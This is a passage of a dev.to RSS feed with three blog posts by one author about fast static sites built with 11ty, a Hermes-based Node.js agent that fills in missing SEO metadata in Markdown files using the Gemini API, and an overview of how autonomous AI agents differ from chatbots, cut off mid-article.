&lt;p&gt;How do we return this lightning-fast speed? The answer lies in returning to common sense - &lt;strong&gt;static sites&lt;/strong&gt; and modern SSG generators like &lt;strong&gt;11ty&lt;/strong&gt; (Eleventy). ⚡&lt;/p&gt;

&lt;p&gt;Instead of using resource-intensive &lt;strong&gt;server-side rendering&lt;/strong&gt; (SSR) during each visit, 11ty assembles the entire project only once - at the build stage. When a visitor enters the blog, the server simply serves a ready, clean HTML file.&lt;/p&gt;

&lt;p&gt;Such &lt;strong&gt;clean architecture&lt;/strong&gt; makes your resource not only reactive but also absolutely secure. No database - nothing to hack! You get maximum protection and zero delay. 🛡️&lt;/p&gt;

&lt;h2&gt;
  
  
  Artificial Intelligence and the Web: Where is the Line of Reason?
&lt;/h2&gt;

&lt;p&gt;It's trendy now to attach AI to everything. Some developers go to the point of technical absurdity: they force the user's smartphone to make a heavy API request to a neural network with billions of parameters just to... recognize if a plastic cup in a photo is crushed. 🤦‍♂️&lt;/p&gt;

&lt;p&gt;They call this "ecological innovation." But let's think like engineers. Pushing megabytes of JSON data through the ocean to cloud clusters that burn kilowatts of electricity for a single trivial task is mockery - both of the planet and the user.&lt;/p&gt;

&lt;p&gt;This is what this contrast looks like at the code level:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8wed0s3rq96jf7og3e9d.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8wed0s3rq96jf7og3e9d.webp" alt="Clean architecture: comparison of heavy API request and static generation on 11ty" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In the first case, we have huge latency, network load, and a crazy carbon footprint. In the second - a clean, instant result.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;We also recommend reading:&lt;/strong&gt; &lt;a href="https://shcho-i-yak.pp.ua/en/posts/smm-turbo-instagram-editor/" rel="noopener noreferrer"&gt;SMM Turbo: Hybrid AI-editor for Instagram carousels&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Autonomous AI Agents: The Real Magic "Under the Hood"
&lt;/h2&gt;

&lt;p&gt;Does this mean we have to give up on the power of AI? Not at all! The secret lies in &lt;em&gt;where exactly&lt;/em&gt; this intelligence works. Respect for the visitor means that all heavy calculations are taken on by the developer.&lt;/p&gt;

&lt;p&gt;Instead of loading the user's browser, we use &lt;strong&gt;autonomous AI agents&lt;/strong&gt; (like our hybrid agent Hermes) in a closed loop. This digital worker does all the dirty work in the shadows: analyzes trends, writes code, forms SEO structure.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn3wbq8177k8did2fk8w2.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn3wbq8177k8did2fk8w2.webp" alt="Autonomous AI agent Hermes works under the hood, leaving the frontend clean" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then, the fast &lt;strong&gt;static site generator 11ty&lt;/strong&gt; comes into play. It takes the results of the AI's work and assembles them into perfectly optimized pages even before the user follows the link. The visitor doesn't wait for the neural network to "think" or for the database to load. They get the information at the speed of light. ⚡&lt;/p&gt;

&lt;p&gt;This is &lt;strong&gt;real code ecology&lt;/strong&gt; - zero load on the client device and maximum value. 🌿&lt;/p&gt;

&lt;h2&gt;
  
  
  Real UX Design is Imperceptible Speed
&lt;/h2&gt;

&lt;p&gt;We're used to thinking that cool &lt;strong&gt;UX design&lt;/strong&gt; is a lot of smooth animation, beautiful 3D effects, and interfaces that react to every micro-movement. But in reality, the best interface is one that doesn't make the user wait even a second. Instant page response gives a person a feeling of complete control.&lt;/p&gt;

&lt;p&gt;When your site weighs 20 kilobytes instead of 5 megabytes, it loads just as fast in the center of a metropolis with 5G as it does on the road with weak 3G connectivity. By practicing &lt;strong&gt;digital minimalism in development&lt;/strong&gt;, you create an inclusive web accessible to everyone, regardless of the power of their gadget.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fir64ggegukoxxfjttwuy.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fir64ggegukoxxfjttwuy.webp" alt="Concept of digital ecology: clean code and load optimization" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Remember: every extra script you add to the frontend is a tax on the user's attention. Respect your audience, clean up interfaces from ballast.&lt;/p&gt;

&lt;h2&gt;
  
  
  Ecology They Don't Talk About
&lt;/h2&gt;

&lt;p&gt;Real &lt;strong&gt;code ecology&lt;/strong&gt; is measured not by beautiful slogans in social media, but by real milliwatts of saved energy. When millions of users open optimized static sites every day, the total savings in processor time on servers and smartphones becomes colossal.&lt;/p&gt;

&lt;p&gt;Clean, pre-compiled HTML doesn't force data center processors to heat up. It's simply served instantly through a CDN. This is what a responsible approach to development looks like in 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manifesto of Clean Code: Instead of a Conclusion
&lt;/h2&gt;

&lt;p&gt;Bro, being a developer today is not just about being able to connect third-party APIs and copy ready-made solutions. It's about responsibility to those who will use your product.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Artificial intelligence&lt;/strong&gt; gives us superpowers. It allows us to automate routine, write complex logic, and optimize processes. But don't let technology control your architecture. Carry the complexity on the server, leave the client with clean and transparent static content.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F12ir2krf4mejwgnowvka.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F12ir2krf4mejwgnowvka.webp" alt="User gets instant page loading thanks to ethical development" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When you write &lt;strong&gt;clean code&lt;/strong&gt;, refuse heavy JavaScript in favor of lightweight solutions, and build projects with respect for other people's time - you change the industry for the better. Make your web light, fast, and ethical. Your users will definitely appreciate it with lightning-fast loading!&lt;/p&gt;

&lt;p&gt;Maintain cleanliness in code and architecture. See you in the next materials! 💻🔥&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>performance</category>
      <category>cleancode</category>
      <category>automation</category>
    </item>
    <item>
      <title>Hermes Agent: Autonomous SEO engineer for 11ty</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Wed, 20 May 2026 07:59:37 +0000</pubDate>
      <link>https://dev.to/digital-abetka/hermes-agent-autonomous-seo-engineer-for-11ty-50g6</link>
      <guid>https://dev.to/digital-abetka/hermes-agent-autonomous-seo-engineer-for-11ty-50g6</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/hermes-agent-2026-05-15"&gt;Hermes Agent Challenge&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built: The End of Manual SEO Era
&lt;/h2&gt;

&lt;p&gt;Let's be honest: we all love the speed and security of the Jamstack architecture. Writing articles in Markdown for generators like Eleventy (11ty) is a pleasure. But there's one thing that every developer-blogger hates. It's routine. 😩&lt;/p&gt;

&lt;p&gt;Writing an article is only 50% of the work. Then hell begins: you need to come up with the perfect &lt;code&gt;title&lt;/code&gt;, squeeze the essence into 150 characters of &lt;code&gt;description&lt;/code&gt; for the Google snippet, and write a short &lt;code&gt;ai_summary&lt;/code&gt;. And what if you have hundreds of them? &lt;/p&gt;

&lt;p&gt;That's why I decided to go beyond the usual ChatGPT assistants. I created an &lt;strong&gt;autonomous digital worker&lt;/strong&gt; based on the Hermes framework. 🤖 &lt;/p&gt;

&lt;p&gt;My script doesn't just "generate text" in a browser window. It's deeply integrated into my workflow "in a meaningful way". This agent:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Scans the local directory with hundreds of Markdown files on its own.&lt;/li&gt;
&lt;li&gt;Analyzes the content of each article.&lt;/li&gt;
&lt;li&gt;Generates perfectly structured JSON with missing SEO metadata.&lt;/li&gt;
&lt;li&gt;Directly overwrites the &lt;code&gt;Front Matter&lt;/code&gt; in files, breaking nothing.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Demo: Autonomy in Action
&lt;/h2&gt;

&lt;p&gt;Instead of building heavy and unnecessary graphical interfaces (GUI) that only consume resources, my demo project is a clean, lightning-fast console automation. It's an invisible back-office worker that manages content right in your terminal. &lt;/p&gt;

&lt;p&gt;When you launch the agent, it scans the entire blog in milliseconds, detects "problematic" articles without meta tags, connects to cloud intelligence, and autonomously closes all SEO gaps. The work that previously took hours of manual copy-paste is now done in one click.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;(Below in the article, we will detail the terminal logs and the final result, but for now, let's take a look under the hood of this system).&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Code: Architecture and Technology Stack
&lt;/h2&gt;

&lt;p&gt;The entire project is built on the principles of &lt;strong&gt;idempotence&lt;/strong&gt; and &lt;strong&gt;fault tolerance&lt;/strong&gt;. This means that the script can be run as many times in a row as you like: it will never create duplicate content, spoil existing tags, or simply continue working from where it left off.&lt;/p&gt;

&lt;p&gt;Here is the complete source code and showcase repository for this challenge: &lt;br&gt;
👉 &lt;strong&gt;&lt;a href="https://github.com/bodikinf/hermes-jamstack-showcase" rel="noopener noreferrer"&gt;Hermes Jamstack Showcase Repository&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To better understand how a local file on your computer communicates with the cloud, take a look at this architectural scheme:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fhermes-architecture-schema.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fhermes-architecture-schema.webp" title="Hermes Agent Architecture" alt="Hybrid architecture of the Hermes AI agent for Eleventy" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  My Tech Stack: Why These Tools?
&lt;/h3&gt;

&lt;p&gt;To create Hermes, I chose the lightest, but time-tested development technologies:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Node.js (Runtime):&lt;/strong&gt; A Scandinavian hammer for working with the file system and asynchronous requests. Provides instant directory scanning.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Eleventy (11ty):&lt;/strong&gt; Our favorite, super-fast static site generator. Since it works with pure Markdown, it became an ideal environment for automation.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gray-Matter (Parser):&lt;/strong&gt; A special library that can break down a Markdown file into two parts: an object with metadata (Front Matter) and pure article text. Without it, the AI would simply get tangled up in markup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gemini 2.5 Flash API (Cloud Brain):&lt;/strong&gt; The new generation of models from Google. I chose the &lt;strong&gt;Flash&lt;/strong&gt; version because it has phenomenal generation speed, strict adherence to prompt instructions, and a penny's worth of request cost.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How I Used Hermes Agent: Three Pillars of Autonomy
&lt;/h2&gt;

&lt;p&gt;To integrate the agent into the workflow "in a meaningful way", I had to solve three main engineering problems. I didn't want the script to just chatter - I needed a predictable digital worker. &lt;/p&gt;

&lt;p&gt;Here are the three pillars that my Hermes Agent stands on.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Structured Data (Taming Chaos)
&lt;/h3&gt;

&lt;p&gt;The main problem with all LLMs is that they love to "talk". If you ask an AI to write an SEO description, it might respond: &lt;em&gt;"Of course, here's your description: ..."&lt;/em&gt;. For an automated system, such text is a failure and a broken site build.&lt;/p&gt;

&lt;p&gt;So I used strict prompt engineering, forcing Gemini 2.5 Flash to return a strictly typed &lt;strong&gt;JSON object&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fjson-prompt-snippet.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fjson-prompt-snippet.webp" title="JSON Prompt for Hermes Agent" alt="JavaScript code that forces Gemini AI to return strictly structured JSON data" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As you can see in the code above, we're not just asking for JSON, we're also additionally cleaning the response from markdown markup (&lt;code&gt;&lt;/code&gt;`&lt;code&gt;json&lt;/code&gt;), which neural networks love to add. This guarantees that the &lt;code&gt;JSON.parse()&lt;/code&gt; method will work without errors. 🎯&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Idempotence: The Main Rule of a Doctor - "Do No Harm"
&lt;/h3&gt;

&lt;p&gt;Imagine that you accidentally ran the script twice. A bad script would generate duplicates or spoil your manual work. My autonomous agent adheres to the principle of &lt;strong&gt;idempotence&lt;/strong&gt;. 🛡️&lt;/p&gt;

&lt;p&gt;Before wasting API credits, Hermes uses &lt;code&gt;gray-matter&lt;/code&gt; to parse the Markdown file and check for the presence of SEO fields:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsafe-file-update-snippet.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fsafe-file-update-snippet.webp" title="Safe Front Matter Update" alt="Idempotent Node.js script that safely updates Front Matter in Markdown files using gray-matter" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The agent works like a smart filter. If an article already has a perfect &lt;code&gt;description&lt;/code&gt; and generated &lt;code&gt;ai_summary&lt;/code&gt; - it instantly skips it. If the fields are empty or too short (less than 50 characters) - it precisely fills them in, assembles the file back, and safely saves it to disk.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;We also recommend reading:&lt;/strong&gt; &lt;a href="https://shcho-i-yak.pp.ua/en/posts/pressable-mcp-gemini-cli-linux/" rel="noopener noreferrer"&gt;Pressable MCP i Gemini CLI: AI-managed hosting in Linux&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  3. Fault Tolerance: API Error Handling
&lt;/h3&gt;

&lt;p&gt;During a massive audit of hundreds of files, I encountered the fact that even Google servers sometimes can't handle the load and return a &lt;code&gt;503 Service Unavailable&lt;/code&gt; error. &lt;/p&gt;

&lt;p&gt;An ordinary script would "fall" at this point, and the developer would have to search for which file exactly broke. But I have an autonomous agent! It must survive. 🦾&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Ffault-tolerance-loop.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Ffault-tolerance-loop.webp" title="Error Handling and Emergency Pauses" alt="Block diagram of fault tolerance showing the emergency pause protocol for handling API 503 errors" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I added a &lt;code&gt;try...catch&lt;/code&gt; block directly inside the processing cycle. If Hermes receives a refusal from the servers, it doesn't stop the entire program. It outputs a red warning to the console, understands that the servers are overloaded, makes an &lt;strong&gt;emergency pause for 15 seconds&lt;/strong&gt; (so the API can "breathe"), and calmly moves on to the next file. &lt;/p&gt;

&lt;p&gt;This makes the architecture absolutely fault-tolerant. You can run the script on 1000 articles, go drink coffee, and be sure that it will complete the work. ☕&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;We also recommend reading:&lt;/strong&gt; &lt;a href="https://shcho-i-yak.pp.ua/en/posts/smm-turbo-instagram-editor/" rel="noopener noreferrer"&gt;SMM Turbo: Hybrid AI editor for Instagram carousels&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Final: Mass SEO Audit in Action
&lt;/h2&gt;

&lt;p&gt;This is what the real triumph of automation looks like. When I run the &lt;code&gt;node hermes.js&lt;/code&gt; command in the terminal, my autonomous SEO engineer comes to life. &lt;/p&gt;

&lt;p&gt;It scans the entire blog directory in milliseconds. Pay attention to the log: it recognizes articles where SEO is already set up and outputs a &lt;code&gt;[SKIP]&lt;/code&gt; message. But as soon as it finds a file with an empty description or missing &lt;code&gt;ai_summary&lt;/code&gt;, it connects to cloud intelligence, generates JSON, and writes it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fhermes-terminal-success.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fhermes-terminal-success.webp" title="Mass Audit and SEO Generation" alt="VS Code terminal showing a successful mass SEO audit and injection of ai_summary and description fields" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The yellow letters &lt;strong&gt;M&lt;/strong&gt; (Modified) in the left panel of VS Code are the best proof that the script actually physically overwrote files on disk. No manual copy-paste between browser tabs. No broken tags in Front Matter. Just pure efficiency. ✨&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion: Delegate Processes, Not Tasks
&lt;/h2&gt;

&lt;p&gt;Creating this project for the Hermes Agent Challenge completely changed my understanding of artificial intelligence. We are moving from the era of "AI as a chatbot" to the era of "AI as an autonomous employee". 🚀&lt;/p&gt;

&lt;p&gt;You no longer need to spend hours filling in meta tags manually. You can delegate AI an entire &lt;em&gt;process&lt;/em&gt;, creating such fault-tolerant local scripts. Your Jamstack blog can live its own life and autonomously optimize itself for search engines.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Ready to launch your first agent? 🤖🚀&lt;/strong&gt;&lt;br&gt;
Jump to the official &lt;strong&gt;Hermes Agent Framework&lt;/strong&gt; page. Explore the documentation, download the source code, and join the autonomous open AI revolution!&lt;br&gt;
👉 &lt;strong&gt;&lt;a href="https://hermes-agent.nousresearch.com/" rel="noopener noreferrer"&gt;OPEN OFFICIAL HERMES WEBSITE&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you want to feel more automation magic, be sure to test our free &lt;strong&gt;SMM Turbo&lt;/strong&gt; service. It's a hybrid AI editor that takes over the routine of creating viral Instagram carousels! 🔥&lt;/p&gt;

&lt;p&gt;And how do you use AI in your Jamstack projects? Are you ready to give an autonomous agent access to your local files? Write your thoughts in the comments, it'll be cool to discuss this with the community! 👇&lt;/p&gt;

</description>
      <category>hermesagentchallenge</category>
      <category>devchallenge</category>
      <category>agents</category>
      <category>webdev</category>
    </item>
    <item>
      <title>The End of Chatbots: Why Autonomous Agents are the Future of Dev</title>
      <dc:creator>Aribu js</dc:creator>
      <pubDate>Mon, 18 May 2026 16:53:14 +0000</pubDate>
      <link>https://dev.to/digital-abetka/the-end-of-chatbots-why-autonomous-agents-are-the-future-of-dev-4h84</link>
      <guid>https://dev.to/digital-abetka/the-end-of-chatbots-why-autonomous-agents-are-the-future-of-dev-4h84</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/devteam/join-the-hermes-agent-challenge-1000-in-prizes-13cd"&gt;Hermes Agent Challenge&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  From Chatbots to Digital Workers: The Anatomy of Autonomy with Hermes Agent
&lt;/h2&gt;

&lt;p&gt;Let's be honest: modern AI tools have reached their ceiling. We're used to the "write a prompt - get text" format. It was cool in 2023, but today developers need more. &lt;/p&gt;

&lt;p&gt;We need not just "conversationalists" that generate code or articles. We need &lt;strong&gt;digital workers&lt;/strong&gt; that can go online on their own, read documentation, run a script in the terminal, and fix their own mistakes. &lt;/p&gt;

&lt;p&gt;And that's where &lt;strong&gt;autonomous agents&lt;/strong&gt;, such as the Hermes framework, come in. They change the rules of the game. Instead of blindly guessing the answer, they can plan, reflect, and use external tools. &lt;/p&gt;

&lt;p&gt;In this article, we'll break down the anatomy of AI agents. You'll learn how they differ from classic large language models (LLM) and how this technology will impact the future of development. Are you ready to take a look under the hood of the new generation of intelligence? Then let's go! &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fhermes-agent-cover_AI.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fhermes-agent-cover_AI.webp" title="Hermes Agent: Autonomous AI" alt="A cybernetic hand controls digital nodes on a dark background, symbolizing an autonomous AI agent" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Ordinary LLM vs Agents: What's the Difference?
&lt;/h2&gt;

&lt;p&gt;To understand the power of frameworks like Hermes, let's compare two approaches. Classic large language models (like basic ChatGPT) work like a very smart, but "blind" encyclopedia. &lt;/p&gt;

&lt;p&gt;You give it a prompt - the model generates text based on what it learned months ago. It can't check the weather, run a script on your computer, or fix a bug in the generated code on its own. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Autonomous agents&lt;/strong&gt; work differently. This is a superstructure over the language model that gives it "hands" and "eyes". The agent gets access to external tools (API, search engines, terminal) and can interact with the real world. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fai-vs-agent.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fai-vs-agent.webp" title="LLM vs Autonomous Agents" alt="Scheme: Old approach of ordinary LLM vs new agent-based approach using tools" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Why &lt;strong&gt;Hermes Agent&lt;/strong&gt; specifically? There are heavy solutions like AutoGPT on the market, but they often consume too many resources and are complicated to set up. Hermes offers a lightweight, flexible architecture that a developer can fully control and adapt to their needs. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;We also recommend reading:&lt;/strong&gt; &lt;a href="https://shcho-i-yak.pp.ua/en/posts/smm-turbo-instagram-editor/" rel="noopener noreferrer"&gt;SMM Turbo: Hybrid AI Editor for Instagram Carousels&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Multi-Stage Thinking: How an AI Agent Makes Decisions
&lt;/h2&gt;

&lt;p&gt;The real magic of autonomy is hidden in a process called the &lt;strong&gt;Reasoning Loop&lt;/strong&gt;. Instead of giving an instant answer, the agent "thinks". &lt;/p&gt;

&lt;p&gt;When a user sets a complex task, Hermes launches a continuous cycle that consists of several steps:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fagent-reasoning-loop.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fagent-reasoning-loop.webp" title="AI Agent's Reasoning Loop" alt="AI agent's reasoning loop from query to result analysis" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Thought:&lt;/strong&gt; The agent analyzes the query and decides what exactly it needs to do. For example: &lt;em&gt;"I need to find the latest web design trends"&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Action:&lt;/strong&gt; The agent chooses the right tool from its arsenal (e.g., Google search).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Observation:&lt;/strong&gt; The agent receives the search results, reads them, and makes conclusions. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If there's enough information - it forms a final answer. If not - the cycle repeats again, but with a new understanding of the context. This allows the system to correct its own mistakes in real-time! &lt;/p&gt;

&lt;h2&gt;
  
  
  The Magic of Tools: How AI Gets "Hands"
&lt;/h2&gt;

&lt;p&gt;Ordinary models are locked in their training dataset. Agents use &lt;strong&gt;Tools&lt;/strong&gt;. These are special functions that allow AI to safely interact with the outside world and your computer. &lt;/p&gt;

&lt;p&gt;How does it work under the hood? When an agent decides it needs additional information, it generates a special JSON request. It records its thought, chooses the right action, and passes search parameters:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fagent-json-action.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fagent-json-action.webp" title="Tool Call via JSON" alt="JSON format of a tool call by an autonomous agent" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The best part is that expanding Hermes Agent's capabilities is extremely simple. You don't need to be an expert in machine learning. &lt;/p&gt;

&lt;p&gt;The developer simply writes a standard JavaScript or TypeScript function (e.g., accessing a database or searching local files) and registers it in the system. Then the AI itself understands when and how to apply it. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fagent-register-tool.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fshcho-i-yak.pp.ua%2Fimages%2Fuploads%2Fagent-register-tool.webp" title="Code for Registering a Tool" alt="Registration of a new tool for Hermes Agent in JavaScript code" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Hybrid Architecture: Autonomy for Weak PCs
&lt;/h2&gt;

&lt;p&gt;Now about the most interesting thing - real hardware. Running a heavy open model (even with 7-8 billion parameters) on a laptop with 8 GB of RAM is a real pain for a developer. &lt;/p&gt;

&lt;p&gt;Your operating system (e.g.,Linux Fedora, not to mention Windows😁) will start to slow down, and the code editor will constantly "freeze". But we have an elegant and efficient solution - &lt;strong&gt;hybrid architecture&lt;/strong&gt;. &lt;/p&gt;

